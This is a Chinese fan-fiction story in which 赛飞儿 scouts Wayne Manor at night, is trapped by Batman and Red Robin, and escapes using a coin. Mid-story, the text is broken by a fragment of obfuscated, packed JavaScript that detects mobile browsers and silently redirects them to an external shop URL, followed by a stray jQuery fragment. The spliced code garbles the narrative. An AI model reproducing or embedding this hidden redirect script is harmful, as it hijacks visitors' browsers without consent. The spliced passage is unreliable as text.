夜晚的韦恩庄园比白天安静得多。
赛飞儿蹲在庄园西侧的一棵橡树上，两条腿踩着粗壮的枝干，身体前倾，双手撑着下巴，像一只趴在窗台上看风景的猫。她已经在这里蹲了快二十分钟了，一动不动，只有耳朵偶尔转动一下角度，捕捉风里带来的声音。
今晚的月亮被云遮了大半，庄园的灯光也关了大半，只剩下门廊和几扇窗户还亮着。赛飞儿数了数亮灯的房间，在心里默默记下了位置。
她不是来偷东西的。
真的不是。
她就是……好奇。
猫女那天提了一嘴韦恩庄园，那个语气、那个笑法，怎么想都不对劲。赛琳娜是什么人？整个哥谭最精明的女人之一，从来不随便说话，说出来的每一句都跟下棋似的，有前手有后手。她不会无缘无故把赛飞儿往一个地方引。
所以赛飞儿想来看看，仅此而已。
她在树上又蹲了五分钟，确认没有巡逻人员、没有移动的灯光、没有任何人类活动迹象之后，无声地从树枝上滑了下来，落在草坪上。落地的时候她特意用脚尖先着地，没有发出一丝声响，连草坪上的露水都没有溅起来。
这手艺，她给自己打九分。
扣一分是怕自己骄傲。
她沿着庄园西侧的围墙摸了一圈，仔细观察每一扇窗户、每一个门、每一条小径。韦恩庄园的布局比她想象的要复杂，建筑主体之外还有好几栋附属建筑，花园设计得跟迷宫似的，弯弯绕绕，一看就是花了大价钱请人设计的。
“有钱人的毛病。”赛飞儿在心里吐槽了一句。
转了大半圈，她在庄园北侧的一个小门前面停下来。这道门看起来不太起眼，铁艺的，漆面有些斑驳，和庄园其他部分的金碧辉煌不太搭。门后面是一条通往地下的狭窄通道，黑漆漆的，看不清深处有什么。
赛飞儿看了两秒，决定——不进去。
今晚只是踩点。踩点就要有踩点的自觉。进去算什么踩点？那叫“临时起意”或者“手贱”。
她正要转身离开——
“你在这里做什么。”
赛飞儿浑身的毛——好吧她没有毛，但那个感觉就是浑身毛都炸了。
她缓缓转过身。
蝙蝠侠站在她身后大约三米的地方，黑色的披风垂在身侧，遮住了大半个身体。月光从云层的缝隙里漏下来，把他的影子拉得又长又瘦，像一根插在地上的黑针。那一双黑色的眸子反射着冰冷的光，看不出表情，但赛飞儿能感觉到那道目光正牢牢地锁在自己身上。
又来了。
赛飞儿脑子里闪过一个念头——她是不是被这个人标记了？GPS定位？生物追踪？不然怎么她走到哪跟到哪？上次在大教堂顶上踩个点被他撞见，这次在韦恩庄园外围遛个弯又被他撞见。哥谭那么大，他怎么总能找到她？
还是说——她忽然想起了哥谭日报上那个离谱的八卦——布鲁斯·韦恩真的和蝙蝠侠有什么不可告人的关系，韦恩庄园其实是蝙蝠侠的老巢？
她迅速把这个离谱的念头按了下去。
太离谱了。离谱到她的脑子都觉得不合适。
“哟，大蝙蝠。”赛飞儿扬起一个笑脸，语气轻快得像在跟老朋友打招呼，“又见面了，咱俩是不是挺有缘的？”
蝙蝠侠没有接她的话茬。
“你在这里做什么。”他又问了一遍，声音比刚才更低了一些。
赛飞儿歪了歪头，眨眨眼，一脸无辜。
“散步？”
蝙蝠侠沉默地看着她。
那沉默太有压迫感了，像一块巨大的石板慢慢压下来。一般人被蝙蝠侠用这种目光盯上几秒，要么腿软，要么嘴软，要么脑子软。但赛飞儿不是一般人——她是一个把“撒谎”当成呼吸来用的人，这种程度的冷眼对她来说，连热身都算不上。
“真的，”她摊开双手，掌心朝上，以示清白，“我就随便走走，看看哥谭首富家有多大。又没偷又没抢的，犯法了吗？”
蝙蝠侠依然没有说话。
但他往前走了一步。
那一步不紧不慢的，靴子踩在草地上几乎没有声音。
赛飞儿脸上的笑容不变，但身体已经无声地调整了角度。
她见过很多种对手。有的人速度快，有的人力量大，有的人心思缜密步步为营。但这个蝙蝠侠——他不属于以上任何一种单一类型。他是一种更麻烦的存在：速度快、力量大、脑子还好使，而且还不要脸地同时拥有这三样。
“你知道吗，”赛飞儿语气随意地说，像是在跟朋友聊天，“哥谭日报上说你跟布鲁斯·韦恩有不正当关系。我本来是不信的，但你今晚出现在韦恩庄园——这就让我不得不信了。”
蝙蝠侠的脚步顿了一下。
不到半秒。
但赛飞儿捕捉到了。
她在心里给自己的观察力打了个勾，同时把这个信息存进了脑子里某个比较可疑的文件夹。
“我只是在巡逻。”蝙蝠侠的声音终于有了一点波动——但那个波动不像是愤怒或者尴尬，更像是无奈。一种“这个问题我已经不想回答第三十遍了”的无奈。
“哦，巡逻。”赛飞儿点点头，一脸“你说什么我都信”的乖巧表情，“那你这巡逻路线挺固定的嘛，上次在大教堂，这次在韦恩庄园，下次是不是该轮到——”
她的话还没说完。
一道寒光从她脸侧飞过。
速度极快，快到普通人根本来不及反应。那是一个蝙蝠镖，黑色的，边缘锋利，旋转着切开了空气，带着一声尖锐的嗡鸣从她右耳旁边擦过去。
如果赛飞儿是普通人，这一下应该已经划破了她的脸颊，钉在她身后的墙上了。
但她在蝙蝠侠肩膀微动的那一瞬间就已经动了。
并非思考后的反应，而是她身体里那个属于猫科动物的本能。脊椎一紧，汗毛竖起，身体比大脑先收到信号，整个人像被弹簧弹开一样向左侧闪了半米。那道寒光从她原来的位置飞过去，钉在了身后的铁门上，发出一声清脆的“叮”。
蝙蝠镖还在微微颤动。
蝙蝠侠没有动。
他站在原地，保持着投掷后的姿势，手臂还没有完全收回来。他的目光死死地盯着赛飞儿——不对，是对着她刚才站的位置。
赛飞儿站在左侧半米外，心跳比平时快了一些，但脸上依然是那副笑嘻嘻的表情。
“哎呀，”她伸手摸了摸自己的右耳，语气轻松得像在说别人家的事，“这打招呼的方式还挺特别的。你们哥谭人都这么热情？”
蝙蝠侠缓缓收回了手。
他没有回答。
他在看她。刚才那一镖，他知道自己用了多快的速度、多大的力度、多刁钻的角度。普通人，甚至是罗宾都不可能躲开。
但她躲开了。
而且躲得很轻松。
不是侥幸。不是运气。是条件反射级的反应速度。
“你不是普通人。”他说，语气依然是陈述事实的那种冷淡。
赛飞儿笑了。
“你也不是。”她歪了歪头，蓝绿色的眸子在月光下闪了闪，“所以呢？扯平了？”
“还没完。”
这个声音不是从前面传来的。
是从后面。
赛飞儿的后颈一凉。
她没有回头——回头太慢了。她的身体先于大脑做出了判断，猛地向右侧一闪。余光里，她看到一个人影从她身后的阴影里走了出来，穿着红黑相间的战衣，动作不急不慢，好像早就站在那里了。
红罗宾。
赛飞儿认出了这个配色。她在哥谭混了这么久，蝙蝠家的几个人她还是分得清的——黑色的那个是蝙蝠侠，蓝色的那个是夜翼但不在哥谭，红色的那个是红头罩但红头罩好像和他们关系不太好，红黑配色戴面具的这个是红罗宾，听说是个技术型人才，打架不如蝙蝠侠狠但脑子好使得很。
现在这个技术型人才正站在她刚才踩过的地方，手里拿着一个小型装置，屏幕上面亮着几排数据。
“你的移动路径，”红罗宾举起那个装置晃了晃，声音不高不低，“从你进入庄园外围起就一直在我的监控范围内。”
赛飞儿眨了眨眼。
她低头看了看自己脚下的草地，又看了看红罗宾手里的装置，脸上的笑容终于有了一丝微妙的变化。
“拖延时间。”她说。
蝙蝠侠站在她前面，红罗宾站在她后面。两人之间的距离大概是——够远，远到她不能同时照顾两个方向；但够近，近到任何一个方向的突袭她都来不及逃脱。
蝙蝠侠没有回答。但那沉默本身就是回答。
是的，拖延时间。从她出现在韦恩庄园外围的那一刻起，蝙蝠侠的警报系统就已经把她标记了。他刚才和她说话，不是为了聊天，不是为了吓唬她，更不是为了听她那些关于“不正当关系”的废话。
他是在给她下套。
而她还真的在树上蹲了二十分钟，老老实实地钻了进来。
“哎呀，”她叹了口气，语气里带着一丝真心的感慨，“真是好大的阵仗。一个蝙蝠侠不够，还带了个红罗宾，我是不是该感到荣幸？”
“你应该感到的是别的。”红罗宾说，“韦恩庄园不欢迎不速之客。”
赛飞儿歪头看了他一眼。
这个红罗宾说话的方式和蝙蝠侠不太一样，没有那种刻意的压迫感，更像是一个做足了功课的学生在陈述自己的结论。但正是这种不急不躁的态度，让人觉得更加棘手。
被两个人夹在中间，前后都有威胁，任何一个方向都有陷阱等着她。红罗宾手里的那个装置——赛飞儿虽然不知道具体是什么，但猜得出来，大概是某种能封锁逃跑路线的东西。一个电子陷阱，一个物理陷阱，两个打手，一套组合拳。
换作别人，这时候大概已经在想“我完了”。
但赛飞儿不是别人。
“可惜咯，你们选错了对象。”她说。
她的语气没有变，还是那副懒洋洋的调子。但她的手动了——很慢很慢地动，慢到不会触发任何一个方向上的攻击反应。她的右手缓缓伸向脖子，两根手指捏住了挂在胸前的那枚硬币。
翻飞之币。
蓝黑色的，不大，一面刻着不知名的纹路，另一面光滑如镜。这枚硬币从不离身，从她成为半神的那一天起就一直挂在这里。它不是什么值钱的东西——至少在别人眼里不是。但对她来说，它是钥匙。
阿格莱雅送她那双靴子的时候说，“跑得快，就没人抓得住你”。后来她自己在这双靴子的基础上加了点东西。硬币抛出去的瞬间，整个世界在她眼里会变慢，慢到所有人的动作都像被冻住的琥珀，慢到她可以在那些凝固的间隙里从容地走过。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542264|203960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>蝙蝠侠的目光落在那枚硬币上。
“那是什么？”他问。
赛飞儿没有回答。
她笑了。那个笑容里带着一种很淡的、几乎看不出来的——认真。像是一个平时从不认真的人，忽然决定不演了。
“谢谢你们今晚的热情招待，”她说，声音轻轻的，像风吹过金币的边缘，“下次来，我会带礼物的。”
她将硬币向空中一抛。
硬币在月光下翻转，一圈，两圈，三圈——慢得像是有人按下了暂停键。但赛飞儿的身体在硬币离开她指尖的一瞬间就模糊了，快到肉眼无法追踪。她的身形像一团被风吹散的烟雾，在蝙蝠侠和红罗宾的视野里留下一道残影，然后——
什么都没有了。
没有脚步声。没有风声。没有任何声音。
只有那枚硬币还在空中翻转。
它转了几圈之后，力量用尽了，从最高点开始下落。它的表面反射着月光，一闪一闪的，像一颗被摘下来的星星。
蝙蝠侠伸手接住了它。
他的动作不快不慢，手掌摊开，硬币稳稳地落在他掌心里。那圆片有些凉，带着金属特有的那种冷冰冰的触感。
周围一片寂静。
赛飞儿已经消失了。没有方向，没有痕迹，没有任何可以追踪的线索。她不在了。像一阵风一样，从他们的包围圈中间穿了过去，甚至连红罗宾布下的那些装置都没有来得及触发。
红罗宾站在原地，举着那个装置，屏幕上什么都没有。
没有热源信号，没有移动轨迹，没有异常数据。好像刚才站在他们面前的不是一个人，而是一个幻觉。
他低头看了一眼自己的装置，又抬头看了一眼蝙蝠侠。
蝙蝠侠正在看那枚硬币。
蓝黑色的，不大，一面刻着纹路，另一面光滑如镜。他将硬币翻过来看了看背面——什么都没有。没有年份，没有产地，没有任何能用来追踪的信息。这枚硬币像是凭空出现的，干净得像一张白纸。
“她绕开了所有陷阱。”红罗宾说，语气里有一丝难以置信，但更多的是某种职业性的好奇，“我的装置覆盖了方圆五十米内所有出口，每一个节点都设置了触发阈值。她的反应速度不应该能——”
“她不是反应速度快。”蝙蝠侠打断了他。
红罗宾看了他一眼。
蝙蝠侠没有解释，但红罗宾从那个沉默里读出了他省略掉的内容——不是反应速度快，是快到了另一个量级。快到他们的围捕计划从一开始就是无效的，快到红罗宾的装置还没有反应过来的时候她已经走完了所有的路。
他们不是没抓到。
是他们根本抓不到。
红罗宾沉默了两秒，把装置收了起来。
“那个硬币，”他指了指蝙蝠侠手里的圆片，“你打算拿回去检测？”
蝙蝠侠没有回答。他把硬币收进了腰带上的一个小口袋里。
“你注意到她说自己叫什么了吗？”红罗宾问。
蝙蝠侠看了他一眼。
“她没说自己叫什么。”
“她说了一句话。”红罗宾回忆着刚才的对话，语气平静，“‘你们选错了对象。’”
蝙蝠侠沉默了片刻。
“她不是普通人。”他说。
“你刚才说过了。”红罗宾偏了偏头，面具后面的表情大概是在思考，“但我觉得——不只是‘不是普通人’这么简单。”
风从庄园的方向吹过来，带着草坪上青草的气味。蝙蝠侠的披风被风吹起来一小截，在夜色中无声地翻动。
“提姆，你先回去吧。”他说。
红罗宾看了他一眼，没有多问，转身消失在了庄园的方向。
蝙蝠侠独自站在原地，看着赛飞儿消失的方向，又低头看了一眼腰带的口袋。
口袋里那枚硬币安静地躺着，不发出一丝声响。
他在那里站了很久。
然后他也走了。
庄园西侧那棵大橡树上，一片被踩过的叶子从枝头悠悠地飘下来，落在空无一人的草地上。
蝙蝠侠转身离开的时候，夜风终于大了起来。庄园周围的树冠被吹得沙沙作响，像是有人在窃窃私语，又像是什么都没说。
腰带口袋里那枚翻飞之币安静地躺在那里。
它什么都不是。只是一枚硬币。
但蝙蝠侠知道，能够用一枚硬币逃离他和红罗宾联手设下的包围圈的人，整个哥谭一只手都数得过来。而那些人里面，没有一个长着猫耳朵。
他在心里给这个档案加了新的备注，同时也在思考一个问题——
她为什么要来韦恩庄园？
不是为了一般意义上的“偷东西”和“踩点”。她的眼神不对——一个真正想偷东西的人不会在树下蹲二十分钟只看不碰，不会在每个摄像头死角前停下来观察那么久，更不会在他出现的时候说“散步”而不是“走错路了”。
她在找什么。
或者是，她在确认什么。
蝙蝠侠的脑海里浮现出猫女那张带着狡黠笑意的脸。
他把这件事也记了下来。
夜巡还没结束。哥谭还有很多地方需要他。
但在今晚剩下的时间里，那枚硬币一直安静地躺在他腰带的口袋里，像一个没有被问完的问题。
不算太重，但足以让人记住。